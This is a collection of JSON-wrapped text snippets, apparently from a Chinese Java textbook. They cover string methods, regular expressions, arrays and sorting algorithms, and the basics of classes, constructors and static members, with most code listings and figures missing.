    {"text": "（1）substring(int beginIndex) 该方法返回的是从指定的索引位置开始截取直到该字符串结尾的子串。 语法如下： str.substring(int beginIndex) 其中，beginIndex指定从某一索引处开始截取字符串。 【例5.12】截取字符串，实例代码如下： 使用substring(beginIndex)截取字符串的过程如图5.8所示。 图5.8 substring(3)的截取过程 注意 在字符串中，空格占用一个索引位置。 （2）substring(int beginIndex, int endIndex) 该方法返回的是从字符串某一索引位置开始截取至某一索引位置结束的子串。 语法如下： substring(int beginIndex, int endIndex) beginIndex：开始截取子字符串的索引位置。"},
    {"text": "图5.10 例5.14的运行结果 5.4.3 字符串替换 replace()方法可实现将指定的字符或字符串替换成新的字符或字符串。 语法如下： str.replace(char oldChar,char newChar) oldChar：要替换的字符或字符串。 newChar：用于替换原来字符串的内容。 replace()方法返回的结果是一个新的字符串。"},
    {"text": "String str = \"java project\"; String newstr = str.replace(\"P\",\"t\"); 5.4.4 判断字符串的开始与结尾 startsWith()方法与endsWith()方法分别用于判断字符串是否以指定的内容开始或结束。"},
    {"text": "（1）startsWith()方法 该方法用于判断当前字符串对象的前缀是否为参数指定的字符串。 语法如下： str.startsWith(String prefix) 其中，prefix是指作为前缀的字符。 （2）endsWith()方法 该方法用于判断当前字符串是否为以给定的子字符串结束。 语法如下： str.endsWith(String suffix) 其中，suffix是指作为后缀的字符串。 【例5.16】在项目中创建类StartOrEnd，在主方法中创建String型变量，并判断变量的前导和后置字符串。"},
    {"text": "图5.12 例5.16的运行结果 5.4.5 判断字符串是否相等 对字符串对象进行比较不能简单地使用比较运算符“==”，因为比较运算符比较的是两个字符串的地址是否相同。"},
    {"text": "【例5.17】使用比较运算符比较两个字符串，实例代码如下： String tom = new String(\"I am a student\"); String jerry = new String(\"I am a student\"); boolean b = (tom == jerry); 此时，布尔型变量b的值为false，因为字符串是对象，tom、jerry是引用。"},
    {"text": "图5.13 内存示意图 因此，要比较两个字符串内容是否相等，应使用equals()方法和equalsIgnoreCase()方法。 （1）equals()方法 如果两个字符串具有相同的字符和长度，则使用equals()方法进行比较时，返回true。 语法如下： str.equals(String otherstr) 其中，str、otherstr是要比较的两个字符串对象。 （2）equalsIgnoreCase()方法 使用equals()方法对字符串进行比较时是区分大小写的，而使用equalsIgnoreCase()方法是在忽略了大小写的情况下比较两个字符串是否相等，返回结果仍为boolean类型。 语法如下： str.equalsIgnoreCase(String otherstr) 其中，str、otherstr是要比较的两个字符串对象。 通过下面的例子可以看出equals()方法和equalsIgnoreCase()方法的区别。"},
    {"text": "图5.14 例5.18的运行结果 5.4.6 按字典顺序比较两个字符串 compareTo()方法为按字典顺序比较两个字符串，该比较基于字符串中各个字符的Unicode值，按字典顺序将此String对象表示的字符序列与参数字符串所表示的字符序列进行比较。"},
    {"text": "如果按字典顺序此String对象位于参数字符串之前，则比较结果为一个负整数； 如果按字典顺序此String对象位于参数字符串之后，则比较结果为一个正整数；"},
    {"text": "图5.15 例5.19的运行结果 5.4.7 字母大小写转换 字符串的toLowerCase()方法可将字符串中的所有字符从大写字母改写为小写字母，而toUpperCase()方法可将字符串中的小写字母改写为大写字母。 （1）toLowerCase()方法 该方法将String转换为小写。"},
    {"text": "图5.16 例5.20的运行结果 5.4.8 字符串分割 使用split()方法可以使字符串按指定的分割字符或字符串对内容进行分割，并将分割后的结果存放在字符串数组中。 split()方法提供了以下两种字符串分割形式。 （1）split(String sign) 该方法可根据给定的分割符对字符串进行拆分。 语法如下： str.split(String sign) 其中，sign为分割字符串的分割符，也可以使用正则表达式。"},
    {"text": "（2）split(String sign,int limit) 该方法可根据给定的分割符对字符串进行拆分，并限定拆分的次数。 语法如下： str.split(String sign,int limit) sign：分割字符串的分割符，也可以使用正则表达式。"},
    {"text": "（1）format(String format,Object…args) 该方法使用指定的格式字符串和参数返回一个格式化字符串，格式化后的新字符串使用本地默认的语言环境。 语法如下： str.format(String format,Object…args) format：格式字符串。 args：格式字符串中由格式说明符引用的参数。"},
    {"text": "常用的日期格式化转换符如表5.1所示。 表5.1 常用的日期格式化转换符 【例5.23】在项目中创建类Eval，实现将当前日期信息以4位年份、月份全称、2位日期形式输出。"},
    {"text": "3. 格式化常见的日期时间组合 格式化日期与时间的转换符定义了各种日期时间组合的格式，其中最常用的日期和时间的组合格式如表5.3所示。 图5.19 例5.24的运行结果 表5.3 常见的日期和时间组合的格式 【例5.25】在项目中创建类DateAndTime，在主方法中实现将当前日期时间的全部信息以及指定格式的日期输出。"},
    {"text": "图5.20 例5.25的运行结果 5.5.2 常规类型格式化 常规类型的格式化可应用于任何参数类型，可通过如表5.4所示的转换符来实现。 表5.4 常规转换符 【例5.26】在项目中创建类General，在主方法中实现不同数据类型到字符串的转换。"},
    {"text": "正则表达式中元字符及其意义如表5.5所示。 表5.5 正则表达式中的元字符 说明 在正则表达式中“.”代表任何一个字符，因此在正则表达式中如果想使用普通意义的点字符“.”，必须使用转义字符“\\”。 在正则表达式中可以使用方括号括起若干个字符来表示一个元字符，该元字符可代表方括号中的任何一个字符。 例如，reg = \"[abc]4\"，这样字符串a4、b4、c4都是和正则表达式匹配的字符串。"},
    {"text": "[a-r]：代表a~r中的任何一个字母。 [a-zA-Z]：可表示任意一个英文字母。 [a-e[g-z]]：代表a~e或g~z中的任何一个字母（并运算）。 [a-o&&[def]]：代表字母d、e、f（交运算）。 [a-d&&[^bc]]：代表字母a、d（差运算）。"},
    {"text": "字符X表示任意的一个或多个字符，@为E-mail地址中的特有符号，符号@后还有一个或多个字符，之后是字符“.com”，也可能后面还有类似“.cn”的标记。"},
    {"text": "总结E-mail地址的这些特点，因此可以书写正则表达式“\\\\w+@\\\\w+(\\\\.\\\\w{2,3})*\\\\.\\\\w{2,3}”来匹配E-mail地址。"},
    {"text": "字符集“\\\\w”匹配任意字符，符号“+”表示字符可以出现1次或多次，表达式“(\\\\.\\\\w{2,3})*”表示形如“.com”格式的字符串可以出现0次或多次。 而最后的表达式“\\\\.\\\\w{2,3}”用于匹配E-mail地址中的结尾字符，如“.com”。"},
    {"text": "新创建的StringBuilder对象初始容量是16个字符，可以自行指定初始长度。 如果附加的字符超过可容纳的长度，则StringBuilder对象将自动增加长度以容纳被附加的字符。 若要使用StringBuilder最后输出字符串结果，可使用toString()方法。 利用StringBuilder类中的方法可动态地执行添加、删除和插入等字符串的编辑操作。"},
    {"text": "另外还介绍了一些高级的字符串处理技术，如格式化字符串、使用正则表达式和字符串生成器等，这些也是字符串处理技术的重点，读者应该熟练掌握。"},
    {"text": "（答案位置：\\TM\\sl\\5.19） 2. 分别截取字符串str1和字符串str2中的部分内容，如果截取后的两个子串相同（不区分大小写）会输出“两个子串相同”，否则输出“两个子串并不相同”。"},
    {"text": "（答案位置：\\TM\\sl\\5.22） 第6章 数组 数组是最为常见的一种数据结构，是相同类型的用一个标识符封装到一起的基本类型数据序列或对象序列。"},
    {"text": "通过阅读本章，您可以： 掌握一维数组的创建和使用方法 掌握二维数组的创建和使用方法 了解如何遍历数组 了解如何填充替换数组中的元素 了解如何对数组进行排序 了解如何复制数组 了解查询数组的方法 6.1 数组概述 数组是具有相同数据类型的一组数据的集合。"},
    {"text": "可根据数组的维数将数组分为一维数组、二维数组…… 6.2 一维数组的创建及使用 一维数组实质上是一组相同类型数据的线性集合，当在程序中需要处理一组数据，或者传递一组数据时，可以应用这种类型的数组。"},
    {"text": "【例6.1】声明一维数组，实例代码如下： 声明数组后，还不能立即访问它的任何元素，因为声明数组只是给出了数组名字和元素的数据类型，要想真正使用数组，还要为它分配内存空间。"},
    {"text": "【例6.2】为数组分配内存，实例代码如下： arr = new int[5]; 以上代码表示要创建一个有5个元素的整型数组，并且将创建的数组对象赋给引用变量arr，即引用变量arr引用这个数组，如图6.1所示。"},
    {"text": "2. 声明的同时为数组分配内存 这种创建数组的方法是将数组的声明和内存的分配合在一起执行。 语法如下： 数组元素的类型 数组名 = new数组元素的类型[数组元素的个数]; 【例6.3】声明并为数组分配内存，实例代码如下： int month[ ] = new int[12] 上面的代码创建数组month，并指定了数组长度为12。"},
    {"text": "用第一种初始化方式，将创建5个元素的数组，依次为1、2、3、5、25。 第二种初始化方式，会创建4个元素的数组，依次为34、23、12、6。"},
    {"text": "图6.2 例6.4的运行结果 6.3 二维数组的创建及使用 如果一维数组中的各个元素仍然是一个数组，那么它就是一个二维数组。 二维数组常用于表示表，表中的信息以行和列的形式组织，第一个下标代表元素所在的行，第二个下标代表元素所在的列。 6.3.1 二维数组的创建 二维数组可以看作是特殊的一维数组，因此，二维数组的创建同样有两种方式。 1. 先声明，再用new运算符进行内存分配 声明二维数组的语法如下： 数组元素的类型 数组名字[ ][ ]; 数组元素的类型[ ][ ] 数组名字; 【例6.5】声明二维数组，实例代码如下： int myarr[][]; 同一维数组一样，二维数组在声明时也没有分配内存空间，同样要使用new关键字来分配内存，然后才可以访问每个元素。 对于高维数组，有两种为数组分配内存的方式： （1）直接为每一维分配内存空间 【例6.6】为每一维数组分配内存，实例代码如下： a = new int[2][4] 上述代码创建了二维数组a，二维数组a中包括两个长度为4的一维数组，内存分配如图6.3所示。 图6.3 二维数组内存分配（第一种方式） （2）分别为每一维分配内存 【例6.7】分别为每一维分配内存，实例代码如下： a = new int[2][]; a[0] = new int[2]; a[1] = new int[3]; 2. 声明的同时为数组分配内存 第二种方式同第一种实现的功能相同。 使用这种方式为二维数组分配内存时，首先指定最左边维数的内存，然后单独地给余下的维数分配内存。 通过第二种方式为二维数组分配内存，如图6.4所示。 图6.4 二维数组内存分配（第二种方式） 6.3.2 二维数组初始化 二维数组的初始化与一维数组初始化类似，同样可以使用大括号完成。"},
    {"text": "【例6.8】初始化二维数组，实例代码如下： int myarr[][] = {{12,0},{45,10}}; 初始化二维数组后，要明确数组的下标都是从0开始。"},
    {"text": "下面的实例就是使用二维数组输出一个3行4列且所有元素都是0的矩阵。 【例6.9】在项目中创建类Matrix，在主方法中编写代码实现输出一个3行4列且所有元素都为0的矩阵。"},
    {"text": "遍历一维数组很简单，也很好理解，下面详细介绍遍历二维数组的方法。 遍历二维数组需使用双层for循环，通过数组的length属性可获得数组的长度。"},
    {"text": "图6.6 例6.10的运行结果 在遍历数组时，使用foreach语句可能会更简单。 下面的实例就是通过foreach语句遍历二维数组。 【例6.11】在项目中创建类Tautog，在主方法中定义二维数组，使用foreach语句遍历二维数组。"},
    {"text": "图6.7 例6.11的运行结果 6.4.2 填充替换数组元素 数组中的元素定义完成后，可通过Arrays类的静态方法fill()来对数组中的元素进行替换。"},
    {"text": "fill()方法有两种参数类型，下面以int型数组为例介绍fill()方法的使用方法。 （1）fill(int[] a,int value) 该方法可将指定的int值分配给int型数组的每个元素。 语法如下： fill(int[] a,int value) a：要进行元素替换的数组。"},
    {"text": "注意 如果指定的索引位置大于或等于要进行填充的数组的长度，则会报出ArrayIndexOutOf-BoundsException（数组越界异常，关于异常的知识将在后面的章节讲解）异常。"},
    {"text": "图6.8 例6.12的运行结果 图6.9 例6.13的运行结果 6.4.3 对数组进行排序 通过Arrays类的静态sort()方法可以实现对数组的排序。"},
    {"text": "6.4.4 复制数组 Arrays类的copyOf()方法与copyOfRange()方法可以实现对数组的复制。 copyOf()方法是复制数组至指定长度，copyOfRange()方法则将指定数组的指定长度复制到一个新数组中。 （1）copyOf()方法 该方法提供了多种重载形式，用于满足不同类型数组的复制。 语法如下： copyOf(arr,int newlength) arr：要进行复制的数组。"},
    {"text": "如果新数组的长度大于数组arr的长度，则用0填充（根据复制数组的类型来决定填充的值，整型数组用0填充，char型数组则使用null来填充）； 如果复制后的数组长度小于数组arr的长度，则会从数组arr的第一个元素开始截取至满足新数组长度为止。"},
    {"text": "图6.11 例6.15的运行结果 图6.12 例6.16的运行结果 6.4.5 数组查询 Arrays类的binarySearch()方法，可使用二分搜索法来搜索指定数组，以获得指定对象。"},
    {"text": "binarySearch()方法提供了多种重载形式，用于满足各种类型数组的查找需要。 binarySearch()方法有两种参数类型。 （1）binarySearch(Object[],Object key) 语法如下： binarySearch(Object[] a,Object key) a：要搜索的数组。"},
    {"text": "（2）binarySearch(Object[],int fromIndex,int toIndex,Object key) 该方法在指定的范围内检索某一元素。 语法如下： binarySearch(Object[] a,int fromIndex,int toIndex,Object key) a：要进行检索的数组。"},
    {"text": "图6.13 例6.18的运行结果 图6.14 例6.19的运行结果 6.5 数组排序算法 数组有很多常用的算法，本节将介绍常用的排序算法，包括冒泡排序、直接选择排序和反转排序。 6.5.1 冒泡排序 在程序设计中，经常需要将一组数列进行排序，这样更加方便统计与查询。 程序常用的排序方法有冒泡排序、选择排序和快速排序等。 本节将介绍冒泡排序方法，它以简洁的思想与实现方法而备受青睐，是广大学习者最先接触的一种排序算法。 冒泡排序是最常用的数组排序算法之一，它排序数组元素的过程总是将小数往前放、大数往后放，类似水中气泡往上升的动作，所以称作冒泡排序。 1. 基本思想 冒泡排序的基本思想是对比相邻的元素值，如果满足条件就交换元素值，把较小的元素移动到数组前面，把大的元素移动到数组后面（也就是交换两个元素的位置），这样较小的元素就像气泡一样从底部上升到顶部。 2. 算法示例 冒泡算法由双层循环实现，其中外层循环用于控制排序轮数，一般为要排序的数组长度减1次，因为最后一次循环只剩下一个数组元素，不需要对比，同时数组已经完成排序了。"},
    {"text": "图6.15 6个元素数组的排序过程 第一轮外层循环时把最大的元素值63移动到了最后面（相应地，比63小的元素向前移动，类似气泡上升），第二轮外层循环不再对比最后一个元素值63，因为它已经被确认为最大（不需要上升），应该放在最后，需要对比和移动的是其他剩余元素，这次将元素24移动到了63的前一个位置。"},
    {"text": "【例6.20】在项目中创建BubbleSort类，这个类的代码将实现冒泡排序的一个演示，其中排序使用的是正排序，读者可以根据本实例编写一个倒排序的例子。"},
    {"text": "冒泡排序的主要思想就是：把相邻两个元素进行比较，如满足一定条件则进行交换（如判断大小或日期前后等），每次循环都将最大（或最小）的元素排在最后，下一次循环是对数组中其他的元素进行类似操作。 6.5.2 直接选择排序 直接选择排序方法属于选择排序的一种，它的排序速度要比冒泡排序快一些，也是常用的排序算法，初学者应该掌握。 1. 基本思想 直接选择排序的基本思想是将指定排序位置与其他数组元素分别对比，如果满足条件就交换元素值。 注意这里与冒泡排序的区别，不是交换相邻元素，而是把满足条件的元素与指定的排序位置交换（如从最后一个元素开始排序），这样排序好的位置逐渐扩大，最后整个数组都成为已排序好的格式。 这就好比有一个小学生，从包含数字1~10的乱序的数字堆中分别选择合适的数字，组成一个1~10的排序，而这个学生首先从数字堆中选出1，放在第一位，然后选出2（注意这时数字堆中已经没有1了），放在第二位，依此类推，直到其找到数字9，放到8的后面，最后剩下10，就不用选择了，直接放到最后就可以了。"},
    {"text": "2. 算法示例 每一趟从待排序的数据元素中选出最小（或最大）的一个元素，顺序地放在已排好序的数列的最后，直到全部待排序的数据元素排完。"},
    {"text": "【例6.21】在项目中创建SelectSort类，这个类的代码将作为直接选择排序的一个演示，其中排序使用的是正排序，读者可以根据本实例编写一个倒排序的例子。"},
    {"text": "1. 基本思想 反转排序的基本思想比较简单，也很好理解，其实现思路就是把数组最后一个元素与第一个元素替换，倒数第二个元素与第二个元素替换，依此类推，直到把所有数组元素反转替换。 2. 算法示例 反转排序是对数组两边的元素进行替换，所以只需要循环数组长度的半数次，如数组长度为7，那么for循环只需要循环3次。 例如： 3. 算法实现 下面来介绍一下反转排序的具体用法。"},
    {"text": "本章的重点是遍历数组以及使用Arrays类中的各种方法对数组进行操作，如填充替换数组、复制数组等。 此外，Arrays类还提供了其他操作数组的方法，有兴趣的读者可以查阅相关资料。"},
    {"text": "6.7 实践与练习 1. 编写Java程序，创建数组arr1和arr2，将数组arr1中索引位置是0~3中的元素复制到数组arr2中，最后将数组arr1和arr2中的元素输出。"},
    {"text": "（答案位置：\\TM\\sl\\6.16） 3. 编写Java程序，实现将数组arr中索引位置是2的元素替换为“bb”，并将替换前数组中的元素和替换后数组中的元素全部输出。"},
    {"text": "通过阅读本章，您可以： 了解面向对象编程思想 掌握如何定义类 熟悉类的成员变量、成员方法 掌握修饰权限 掌握局部变量以及作用范围 掌握this、static关键字的用法 掌握构造方法以及如何通过构造方法创建对象 掌握类中的主方法以及如何运行带参数的Java程序 能够使用对象获取对象的属性和行为 掌握对象的创建、比较和销毁方法 7.1 面向对象概述 在程序开发初期，人们使用结构化开发语言。"},
    {"text": "面向对象思想是人类最自然的一种思考方式，它将所有预处理的问题抽象为对象，同时了解这些对象具有哪些相应的属性以及展示这些对象的行为，以解决这些对象面临的一些实际问题。"},
    {"text": "通常都会将对象划分为两个部分，即静态部分与动态部分。 静态部分，顾名思义，就是不能动的部分，这个部分被称为“属性”，任何对象都会具备其自身属性，如一个人，其属性包括高矮、胖瘦、性别、年龄等。"},
    {"text": "然而具有这些属性的人会执行哪些动作也是一个值得探讨的部分，这个人可以哭泣、微笑、说话、行走，这些是这个人具备的行为（动态部分）。"},
    {"text": "在计算机的世界中，面向对象程序设计的思想要以对象来思考问题，首先要将现实世界的实体抽象为对象，然后考虑这个对象具备的属性和行为。"},
    {"text": "例如，现在面临一只大雁要从北方飞往南方这样一个实际问题，试着以面向对象的思想来解决这一实际问题。 步骤如下： （1）首先可以从这一问题中抽象出对象，这里抽象出的对象为大雁。"},
    {"text": "由此可见，类实质上就是封装对象属性和行为的载体，而对象则是类抽象出来的一个实例，两者之间的关系如图7.3所示。 图7.2 识别对象具有的行为 图7.3 描述对象与类之间的关系 7.1.2 类 不能将一个事物描述成一类事物，如一只鸟不能称为鸟类。"},
    {"text": "但如果要给某一类事物一个统称，就需要用到类这个概念。 类就是同一类事物的统称，如果将现实世界中的一个事物抽象成对象，类就是这类对象的统称，如鸟类、家禽类、人类等。 类是构造对象时所依赖的规范，如一只鸟有一对翅膀，它可以用这对翅膀飞行，而基本上所有的鸟都具有有翅膀这个特性和飞行的技能，这样具有相同特性和行为的一类事物就称为类，类的思想就是这样产生的。"},
    {"text": "关联主要描述两个类之间的一般二元关系，例如，一个百货公司类与销售员类就是一个关联，学生类与教师类也是一个关联。 两个类之间的关系有很多种，继承是关联中的一种。"},
    {"text": "例如，平行四边形是四边形，正方形、矩形也都是四边形，平行四边形与四边形具有共同特性，就是拥有4个边，可以将平行四边形类看作四边形的延伸，平行四边形复用了四边形的属性和行为，同时添加了平行四边形独有的属性和行为，如平行四边形的对边平行且相等。 这里可以将平行四边形类看作是从四边形类中继承的。 在Java语言中将类似于平行四边形的类称为子类，将类似于四边形的类称为父类或超类。 值得注意的是，可以说平行四边形是特殊的四边形，但不能说四边形是平行四边形，也就是说子类的实例都是父类的实例，但不能说父类的实例是子类的实例。"},
    {"text": "图7.6阐明了图形类之间的继承关系。 图7.6 图形类层次结构示意图 从图7.6中可以看出，继承关系可以使用树形关系来表示，父类与子类存在一种层次关系。 一个类处于继承体系中，它既可以是其他类的父类，为其他类提供属性和行为，也可以是其他类的子类，继承父类的属性和方法，如三角形既是图形类的子类也是等边三角形的父类。"},
    {"text": "7.1.5 多态 在7.1.4节中介绍了继承、父类和子类，其实将父类对象应用于子类的特征就是多态。 依然以图形类来说明多态，每个图形都拥有绘制自己的能力，这个能力可以看作是该类具有的行为，如果将子类的对象统一看作是父类的实例对象，这样当绘制图形时，简单地调用父类也就是图形类绘制图形的方法即可绘制任何图形，这就是多态最基本的思想。 多态性允许以统一的风格编写程序，以处理种类繁多的已存在的类及相关类。"},
    {"text": "图形类作为所有图形的父类，具有绘制图形的能力，这个方法可以称为“绘制图形”，但如果要执行这个“绘制图形”的命令，没有人知道应该画什么样的图形，并且如果要在图形类中抽象出一个图形对象，没有人能说清这个图形究竟是什么图形，所以使用“抽象”这个词来描述图形类比较恰当。"},
    {"text": "实质上这个方法也是抽象的，如图形类中的“绘制图形”方法只提供一个可以绘制图形的标准，并没有提供具体绘制图形的流程，因为没有人知道究竟需要绘制什么形状的图形。"},
    {"text": "接口的概念在现实中也极为常见，如从不同的五金商店买来螺丝帽和螺丝钉，螺丝帽很轻松地就可以拧在螺丝钉上，可能螺丝帽和螺丝钉的厂家不同，但这两个物品可以轻易地组合在一起，这是因为生产螺丝帽和螺丝钉的厂家都遵循着一个标准，这个标准在Java中就是接口。"},
    {"text": "依然拿“绘制图形”来说明，可以将“绘制图形”作为一个接口的抽象方法，然后使图形类实现这个接口，同时实现“绘制图形”这个抽象方法，当三角形类需要绘制时，就可以继承图形类，重写其中的“绘制图形”方法，并改写这个方法为“绘制三角形”，这样就可以通过这个标准绘制不同的图形。"},
    {"text": "7.2 类 在7.1.2节中已经讲解过类是封装对象的属性和行为的载体，而在Java语言中对象的属性以成员变量的形式存在，对象的方法以成员方法的形式存在。"},
    {"text": "为了了解成员变量，首先定义一个图书类，成员变量对应于类对象的属性，在Book类中设置3个成员变量，分别为id、name和category，分别对应于图书编号、图书名称和图书类别3个图书属性。 【例7.1】在项目中创建Book类，在该类中定义并使用成员变量。 根据以上代码，读者可以看到在Java中使用class关键字来定义类，Book是类的名称。 同时在Book类中定义了3个成员变量，成员变量的类型可以设置为Java中合法的数据类型，其实成员变量就是普通的变量，可以为它设置初始值，也可以不设置初始值。"},
    {"text": "定义成员方法的语法格式如下： 一个成员方法可以有参数，这个参数可以是对象，也可以是基本数据类型的变量，同时成员方法有返回值和不返回任何值的选择，如果方法需要返回值，可以在方法体中使用return关键字，使用这个关键字后，方法的执行将被终止。 注意 Java中的成员方法无返回值，可以使用void关键字表示。 成员方法的返回值可以是计算结果，也可以是其他想要的数值和对象，返回值类型要与方法返回的值类型一致。"},
    {"text": "同时在成员方法中可以定义一个变量，这个变量为局部变量（局部变量的内容将在7.2.4节中进行介绍）。 说明 如果一个方法中含有与成员变量同名的局部变量，则方法中对这个变量的访问以局部变量进行。"},
    {"text": "7.2.3 权限修饰符 Java中的权限修饰符主要包括private、public和protected，这些修饰符控制着对类和类的成员变量以及成员方法的访问。 如果一个类的成员变量或成员方法被修饰为private，则该成员变量只能在本类中被使用，在子类中是不可见的，并且对其他包的类也是不可见的。 如果将类的成员变量和成员方法的访问权限设置为public，那么除了可以在本类使用这些数据之外，还可以在子类和其他包的类中使用。 如果一个类的访问权限被设置为private，这个类将隐藏其内的所有数据，以免用户直接访问它。 如果需要使类中的数据被子类或其他包中的类使用，可以将这个类设置为public访问权限。 如果一个类使用protected修饰符，那么只有本包内的该类的子类或其他类可以访问此类中的成员变量和成员方法。 这么看来，public和protected修饰的类可以由子类访问，如果子类和父类不在同一包中，那么只有修饰符为public的类可以被子类进行访问。 如果父类不允许通过继承产生的子类访问它的成员变量，那么必须使用private声明父类的这个成员变量。"},
    {"text": "表7.1 Java语言中的修饰符权限 注意 当声明类时不使用public、protected和private修饰符设置类的权限，则这个类预设为包存取范围，即只有一个包中的类可以调用这个类的成员变量或成员方法。"},
    {"text": "【例7.2】在项目中的com.lzw包下创建AnyClass类，该类使用默认的访问权限。 在上述代码中，由于类的修饰符为默认修饰符，即只有一个包内的其他类和子类可以对该类进行访问，而AnyClass类中的doString()方法却又被设置为public访问权限，即使这样，doString()方法的访问权限依然与AnyClass类的访问权限相同，因为Java语言规定，类的权限设定会约束类成员的权限设定，所以上述代码等同于例7.3的代码。"},
    {"text": "7.2.4 局部变量 在7.2.2节中已经讲述过成员方法，如果在成员方法内定义一个变量，那么这个变量被称为局部变量。 例如，在例7.1定义的Book类中，getName()方法的id变量即为局部变量。 实际上方法中的形参也可作为一个局部变量，如在定义setName(String name)方法时，String name这个形参就被看作是局部变量。 局部变量是在方法被执行时创建，在方法执行结束时被销毁。 局部变量在使用时必须进行赋值操作或被初始化，否则会出现编译错误。"},
    {"text": "图7.7 局部变量的作用范围 在相互不嵌套的作用域中可以同时声明两个名称和类型相同的局部变量，如图7.8所示。 图7.8 在不同嵌套区域可以定义相同名称和类型的局部变量 但是在相互嵌套的区域中不可以这样声明，如果将局部变量id在方法体的for循环中再次定义，编译器将会报错，如图7.9所示。 图7.9 在嵌套区域中不可以定义相同名称和类型的局部变量 注意 在作用范围外使用局部变量是一个常见的错误，因为在作用范围外没有声明局部变量的代码。"},
    {"text": "7.2.6 this关键字 【例7.5】在项目中创建一个类文件，该类中定义了setName()，并将方法的参数值赋予类中的成员变量。 在上述代码中可以看到，成员变量与setName()方法中的形式参数的名称相同，都为name，那么该如何在类中区分使用的是哪一个变量呢？ 在Java语言中规定使用this关键字来代表本类对象的引用，this关键字被隐式地用于引用对象的成员变量和方法，如在上述代码中，this.name指的就是Book类中的name成员变量，而this.name=name语句中的第二个name则指的是形参name。 实质上setName()方法实现的功能就是将形参name的值赋予成员变量name。"},
    {"text": "在这里读者明白了this可以调用成员变量和成员方法，但Java语言中最常规的调用方式是使用“对象.成员变量”或“对象.成员方法”进行调用（关于使用对象调用成员变量和方法的问题，将在后续章节中进行讲述）。 既然this关键字和对象都可以调用成员变量和成员方法，那么this关键字与对象之间具有怎样的关系呢？"},
    {"text": "在局部变量或方法参数覆盖了成员变量时，如上面代码的情况，就要添加this关键字明确引用的是类成员还是局部变量或方法参数。 如果省略this关键字直接写成name = name，那只是把参数name赋值给参数变量本身而已，成员变量name的值没有改变，因为参数name在方法的作用域中覆盖了成员变量name。 其实，this除了可以调用成员变量或成员方法之外，还可以作为方法的返回值。"},
    {"text": "【例7.6】在项目中创建一个类文件，在该类中定义Book类型的方法，并通过this关键字进行返回。 在getBook()方法中，方法的返回值为Book类，所以方法体中使用return this这种形式将Book类的对象进行返回。"},
    {"text": "7.3 类的构造方法 在类中除了成员方法之外，还存在一种特殊类型的方法，那就是构造方法。 构造方法是一个与类同名的方法，对象的创建就是通过构造方法完成的。 每当类实例化一个对象时，类都会自动调用构造方法。"},
    {"text": "注意 在定义构造方法时，构造方法没有返回值，但这与普通没有返回值的方法不同，普通没有返回值的方法使用public void methodEx()这种形式进行定义，但构造方法并不需要使用void关键字进行修饰。 构造方法的定义语法格式如下： public：构造方法修饰符。"},
    {"text": "如果类中没有明确定义构造方法，编译器会自动创建一个不带参数的默认构造方法。 注意 如果在类中定义的构造方法都不是无参的构造方法，那么编译器也不会为类设置一个默认的无参构造方法，当试图调用无参构造方法实例化一个对象时，编译器会报错。 所以只有在类中没有定义任何构造方法时，编译器才会在该类中自动创建一个不带参数的构造方法。"},
    {"text": "【例7.7】在项目中创建AnyThting类，在该类中使用this调用构造方法。 在例7.7中可以看到定义了两个构造方法，在无参构造方法中可以使用this关键字调用有参的构造方法。 但使用这种方式需要注意的是只可以在无参构造方法中的第一句使用this调用有参构造方法。"},
    {"text": "7.4 静态变量、常量和方法 在介绍静态变量、常量和方法之前首先需要介绍static关键字，因为由static修饰的变量、常量和方法被称作静态变量、常量和方法。"},
    {"text": "被声明为static的变量、常量和方法被称为静态成员。 静态成员属于类所有，区别于个别对象，可以在本类或其他类使用类名和“.”运算符调用静态成员。"},
    {"text": "图7.10 PI常量在内存中被共享情况 语法如下： 类名.静态类成员 【例7.8】在项目中创建StaticTest类，该类中的主方法调用静态成员并在控制台中输出。"},
    {"text": "在例7.8中设置了3个静态成员，分别为常量、变量和方法，然后在method2()方法中分别调用这3个静态成员，直接使用“类名.静态成员”形式进行调用即可。"},
    {"text": "注意 虽然静态成员也可以使用“对象.静态成员”的形式进行调用，但通常不建议用这样的形式，因为这样容易混淆静态成员和非静态成员。 静态数据与静态方法的作用通常是为了提供共享数据或方法，如数学计算公式等，以static声明并实现，这样当需要使用时，直接使用类名调用这些静态成员即可。 尽管使用这种方式调用静态成员比较方便，但静态成员同样遵循着public、private和protected修饰符的约束。"},
    {"text": "读者也许会发现在Eclipse中输入上述代码后，编译器会发生错误，这是因为method3()方法为一个静态方法，而在其方法体中调用了非静态方法和this关键字。"},
    {"text": "在Java语言中对静态方法有两点规定： 在静态方法中不可以使用this关键字。 在静态方法中不可以直接调用非静态方法。 注意 在Java中规定不能将方法体内的局部变量声明为static的。"},
    {"text": "例如下述代码就是错误的： public class example { public void method() { static int i = 0; } } 技巧 如果在执行类时，希望先执行类的初始化动作，可以使用static定义一个静态区域。 例如： public class example { static { // some } } 当这段代码被执行时，首先执行static块中的程序，并且只会执行一次。"},
    {"text": "7.5 类的主方法 主方法是类的入口点，它定义了程序从何处开始； 主方法提供对程序流向的控制，Java编译器通过主方法来执行程序。 主方法的语法如下： 在主方法的定义中可以看到其具有以下特性： 主方法是静态的，所以如要直接在主方法中调用其他方法，则该方法必须也是静态的。"},
    {"text": "在Eclipse中设置程序参数的步骤如下： （1）在Eclipse中，在包资源管理器的项目名称节点上右击，在弹出的快捷菜单中选择Run As / Run Configrations命令，弹出Run Configrations对话框。 （2）在Run Configurations对话框中选择Arguments选项卡，在Program arguments文本框中输入相应的参数，每个参数间按Enter键隔开。"},
    {"text": "图7.11 带参数程序的运行结果 图7.12 Eclipse中的Run Configurations对话框 7.6 对象 Java是一门面向对象的程序设计语言，对象是由类抽象出来的，所有的问题都通过对象来处理。"},
    {"text": "7.6.1 对象的创建 在7.1节中曾经介绍过对象，对象可以认为是在一类事物中抽象出某一个特例，可以通过这个特例来处理这类事物出现的问题。"},
    {"text": "前文在讲解构造方法时介绍过每实例化一个对象就会自动调用一次构造方法，实质上这个过程就是创建对象的过程。 准确地说，可以在Java语言中使用new操作符调用构造方法创建对象。"},
    {"text": "语法如下： Test test=new Test(); Test test=new Test(\"a\"); 其参数说明如表7.2所示。 表7.2 创建对象语法中的参数说明 test对象被创建出来时，就是一个对象的引用，这个引用在内存中为对象分配了存储空间，7.3节中介绍过，可以在构造方法中初始化成员变量，当创建对象时，自动调用构造方法。"},
    {"text": "每个对象都是相互独立的，在内存中占据独立的内存地址，并且每个对象都具有自己的生命周期，当一个对象的生命周期结束时，对象就变成垃圾，由Java虚拟机自带的垃圾回收机制处理，不能再被使用（对于垃圾回收机制的知识将在7.6.5小节中进行介绍）。"},
